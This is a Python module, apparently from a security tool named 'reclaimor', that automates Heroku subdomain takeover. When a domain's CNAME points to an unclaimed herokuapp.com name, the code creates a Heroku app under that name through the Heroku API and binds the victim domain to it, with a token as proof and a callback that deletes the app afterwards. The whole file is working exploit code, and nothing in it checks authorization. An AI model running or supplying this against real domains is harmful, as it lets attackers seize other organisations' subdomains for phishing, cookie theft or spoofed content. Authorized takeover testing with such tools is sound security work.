"""Heroku exploitation module."""
import os
from typing import Dict
import aiohttp

from reclaimor.exploit.providers.base import BaseExploiter
from reclaimor.utils.logger import setup_logger

logger = setup_logger(__name__)


class HerokuExploiter(BaseExploiter):
    """Heroku subdomain takeover exploiter."""
    
    async def exploit(self, domain: str, dns_info: Dict, http_info: Dict) -> Dict:
        """
        Attempt Heroku takeover by creating an app with custom domain.
        
        Requires HEROKU_API_KEY environment variable.
        """
        result = {
            "success": False,
            "method": None,
            "proof": None,
            "cleanup": None,
            "error": None,
        }
        
        heroku_key = os.getenv("HEROKU_API_KEY")
        if not heroku_key:
            result["error"] = "HEROKU_API_KEY environment variable not set"
            return result
        
        cname = dns_info.get("cname", "")
        if not cname or "herokuapp.com" not in cname:
            result["error"] = "Not a Heroku CNAME"
            return result
        
        # Extract app name from CNAME
        app_name = cname.replace(".herokuapp.com", "").split(".")[0]
        
        try:
            async with aiohttp.ClientSession() as session:
                headers = {
                    "Authorization": f"Bearer {heroku_key}",
                    "Accept": "application/vnd.heroku+json; version=3",
                    "Content-Type": "application/json",
                }
                
                # Create Heroku app
                create_url = "https://api.heroku.com/apps"
                app_data = {"name": app_name}
                
                async with session.post(create_url, json=app_data, headers=headers) as resp:
                    if resp.status not in [200, 201]:
                        error_text = await resp.text()
                        result["error"] = f"Failed to create Heroku app: {error_text}"
                        return result
                    
                    app_info = await resp.json()
                    app_id = app_info["id"]
                
                # Add custom domain
                domain_url = f"https://api.heroku.com/apps/{app_name}/domains"
                domain_data = {"hostname": domain}
                
                async with session.post(domain_url, json=domain_data, headers=headers) as resp:
                    if resp.status not in [200, 201]:
                        result["error"] = "Failed to add custom domain"
                        return result
                
                verification_token = self._generate_verification_token(domain)
                
                result["success"] = True
                result["method"] = "Heroku app creation with custom domain"
                result["proof"] = f"https://{app_name}.herokuapp.com (token: {verification_token})"
                result["cleanup"] = lambda: self._cleanup_app(app_name, heroku_key)
                
                logger.info(f"Successfully created Heroku app: {app_name}")
        
        except Exception as e:
            logger.error(f"Heroku exploitation error: {e}")
            result["error"] = str(e)
        
        return result
    
    async def _cleanup_app(self, app_name: str, api_key: str):
        """Delete the created Heroku app."""
        try:
            async with aiohttp.ClientSession() as session:
                headers = {
                    "Authorization": f"Bearer {api_key}",
                    "Accept": "application/vnd.heroku+json; version=3",
                }
                url = f"https://api.heroku.com/apps/{app_name}"
                async with session.delete(url, headers=headers) as resp:
                    if resp.status == 200:
                        logger.info(f"Cleaned up Heroku app: {app_name}")
                    else:
                        logger.warning(f"Failed to cleanup app: {app_name}")
        except Exception as e:
            logger.error(f"Cleanup error: {e}")
